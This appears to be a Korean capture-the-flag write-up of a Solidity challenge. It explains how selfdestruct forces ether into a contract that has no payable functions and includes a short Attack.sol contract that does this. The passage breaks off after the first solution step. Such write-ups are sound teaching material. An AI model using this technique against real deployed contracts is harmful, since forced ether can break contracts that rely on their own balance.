1. 문제

계약 잔액을 0보다 크게 만들어라 ¯\\_(ツ)_/¯
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\\_/\\   /
    ____/ o o \\
    /~____  =ø= /
    (______)__m_m)
                   */ }

2. selfdestruct

selfdestruct(address payable recipient)는 현재 스마트 컨트랙트를 블록체인에서 영구적으로 제거하면서 컨트랙트가 보유하고 있던 모든 이더를 recipient 주소로 강제로 전송합니다.

receive(), fallback() 함수나 payable이 존재하지 않아도 이더를 전송할 수 있다는 특징을 가지고 있습니다.

3. 코드 분석

응?????????? 코드 분석이요???????????

MEOWMEOWMEOWMEOWMEOWMEOWMEOWMEOWMEOWMEOW

4. Attack.sol

pragma solidity ^0.8.0;

contract Attack { 
    
    constructor() payable {}

    function attack(address payable target) public {
        selfdestruct(target);
    }
}

selfdestruct 를 이용하여 target에 돈을 밀어 넣는다.

5. 문제 풀이

문제 풀이 순서

  1. Attack contract 배포